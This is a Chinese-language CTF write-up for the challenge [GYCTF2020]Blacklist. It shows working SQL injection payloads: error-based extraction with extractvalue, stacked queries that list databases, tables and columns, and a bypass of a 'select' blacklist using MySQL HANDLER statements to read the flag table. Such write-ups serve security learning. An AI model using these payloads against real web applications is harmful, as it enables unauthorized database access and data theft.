Loading

[GYCTF2020]Blacklist

[GYCTF2020]Blacklist

题目直接就告诉需要绕过黑名单了,看着这个输入框,感觉是命令执行。

image-20220523222138733

经过测试,确定不是命令执行了,是一个sql注入,看到报错信息,接着就使用报错注入试试了。

image-20220523222302402

通过报错注入拿到了当前数据库名,接着就尝试爆破表名试试看。

# payload
?inject=0'-extractvalue(1,(concat('~',database())))+%23

image-20220523222523112

爆破表名就被过滤了,原来在着等着呢,回显出了被过滤的关键字了。

image-20220523222756656

select关键字被过滤了,但是发现没有过滤 ; 可以试试 堆叠注入 ,尝试一下。

# payload
?inject=0';show+database();show+tables;%23

image-20220523223111001

成功堆叠注入了,查询出来了数据库和当前数据库中的表,flag 应该就在 FlagHere 表中。

# payload
?inject=0';show+columns+from+FlagHere;%23

image-20220523223310892

但是select被过滤了怎么查看数据啊,还是度娘给力,想查什么都可以查到。

# HANDLER 语句
HANDLER tbl_name OPEN [ [AS] alias]
[
	HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
	HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
	HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
]
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。

# 1、通过指定的索引查询
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 2、通过的索引查看表
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
# FIRST:获取第一行(索引最小的一行)
# NEXT:获取下一行
# PREV:获取上一行
# LAST:获取最后一行(索引最大的一行)

# 2、不通过索引查看表
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
		
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行

# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果


## 完整示例
### 通过指定的索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)

+------+------+
| id   | name |
+------+------+
|    4 |      |
+------+------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

### 通过索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)

+------+------+
| id   | name |
+------+------+
|    3 |      |
+------+------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec

### 通过依次获取索引的下一行查看表

mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)

+------+------+
| id   | name |
+------+------+
|    3 |      |
+------+------+
1 row in set (0.00 sec)

mysql> HANDLER test_table READ NEXT;
+------+------+
| id   | name |
+------+------+
|    4 |      |
+------+------+
1 row in set (0.00 sec)

mysql> HANDLER test_table READ NEXT;
+------+------+
| id   | name |
+------+------+
|    5 |      |
+------+------+
1 row in set (0.00 sec)

mysql> HANDLER test_table READ NEXT;
+------+------+
| id   | name |
+------+------+
|    1 |      |
+------+------+
1 row in set (0.00 sec)

mysql> HANDLER test_table READ NEXT;
+------+------+
| id   | name |
+------+------+
|    2 |      |
+------+------+
1 row in set (0.00 sec)

mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
													 
#### 最后索引结束返回空

使用 HANDLER 语句查询到了flag。

# payload
?inject=0';HANDLER+FlagHere+OPEN;HANDLER+FlagHere+READ+NEXT;HANDLER+FlagHere+CLOSE;%23

image-20220523223723185

参考文章:

MySQL 之 handler 的详细使用及说明

[MYSQL中如何使用handler](

posted @ 2022-08-13 10:38  knsec  阅读(91)  评论(0编辑  收藏  举报